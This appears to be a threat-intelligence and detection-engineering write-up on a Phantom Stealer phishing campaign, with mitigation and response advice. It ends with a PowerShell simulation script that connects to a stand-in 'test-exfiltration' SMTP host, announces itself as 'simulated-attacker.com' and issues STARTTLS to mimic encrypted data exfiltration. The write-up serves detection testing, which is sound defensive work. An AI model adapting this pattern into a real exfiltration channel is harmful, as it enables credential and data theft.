Phantom Stealer Campaign Abuses Trusted Business Workflows

Summary

A multi-stage malware campaign uses phishing emails that impersonate logistics companies and tax authorities to deliver Phantom Stealer v3.5.0. The attack relies on obfuscated JavaScript and PowerShell loaders to run its payloads directly in memory, reducing artifacts on disk. In its final stage, the malware steals sensitive information, including browser credentials and cryptocurrency wallet data, and exfiltrates it over SMTP.

Investigation

Researchers identified two separate phishing lures aimed at procurement and finance personnel. The investigation revealed a sophisticated infection chain built on layered obfuscation, AES-encrypted PowerShell scripts, and a reflective .NET injector. The malware was also observed abusing the legitimate aspnet_compiler.exe process for injection and using authenticated SMTP sessions for exfiltration.

Mitigation

Organizations should strengthen email security controls to block malicious archive attachments and suspicious JavaScript files. Restricting PowerShell execution through policy and monitoring for unusual child processes spawned by legitimate binaries can help reduce exposure. In addition, deploying robust endpoint detection capable of identifying reflective memory loading and unauthorized SMTP traffic is strongly recommended.

Response

If this activity is detected, affected hosts should be isolated immediately to stop further SMTP-based data exfiltration. Investigators should perform memory forensics to identify injected payloads and inspect temporary directories for suspicious .ps1 files. A full audit of user credentials should also be conducted, especially for browser-stored passwords and SMTP accounts, which are key targets in this campaign.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: An adversary has compromised a workstation and identified sensitive files. To exfiltrate this data without triggering plaintext data loss prevention (DLP) sensors, the attacker uses a PowerShell script to connect to a remote SMTP relay on port 587. The script initiates a handshake and immediately issues the STARTTLS command. This upgrades the connection to TLS, ensuring that the subsequent data transfer (the “stolen” information) is encrypted before it leaves the perimeter.

• Regression Test Script:

  # Simulation script to mimic Phantom Stealer SMTP STARTTLS exfiltration
  $SMTPServer = "smtp.test-exfiltration.local" # Replace with a reachable test endpoint
  $Port = 587
  
  try {
      Write-Host "[+] Attempting to establish SMTP connection on port $Port..."
      $TcpClient = New-Object System.Net.Sockets.TcpClient($SMTPServer, $Port)
      $Stream = $TcpClient.GetStream()
      $Writer = New-Object System.IO.StreamWriter($Stream)
      $Reader = New-Object System.IO.StreamReader($Stream)
  
      # Receive Greeting
      $Reader.ReadLine() | Out-Null
  
      Write-Host "[+] Sending EHLO command..."
      $Writer.WriteLine("EHLO simulated-attacker.com")
      $Writer.Flush()
      $Reader.ReadLine() | Out-Null # Simplistic reading for simulation
  
      Write-Host "[+] Sending STARTTLS command to trigger detection..."
      $Writer.WriteLine("STARTTLS")
      $Writer.Flush()
  
      # The detection rule looks for the 'starttls: true' attribute 
      # resulting from this specific command exchange.
      $Response = $Reader.ReadLine()
      Write-Host "[!] SMTP Response: $Response"
  
      # Cleanup connection
      $Writer.WriteLine("QUIT")
      $Writer.Flush()
      $TcpClient.Close()
      Write-Host "[+] Simulation complete."
  }
  catch {
      Write-Error "[-] Simulation failed: $($_.Exception.Message)"
  }

• Cleanup Commands:

  # Ensure no persistent connections remain
  Get-NetTCPConnection | Where-Object { $_.RemotePort -eq 587 } | Remove-NetTCPConnection -ErrorAction SilentlyContinue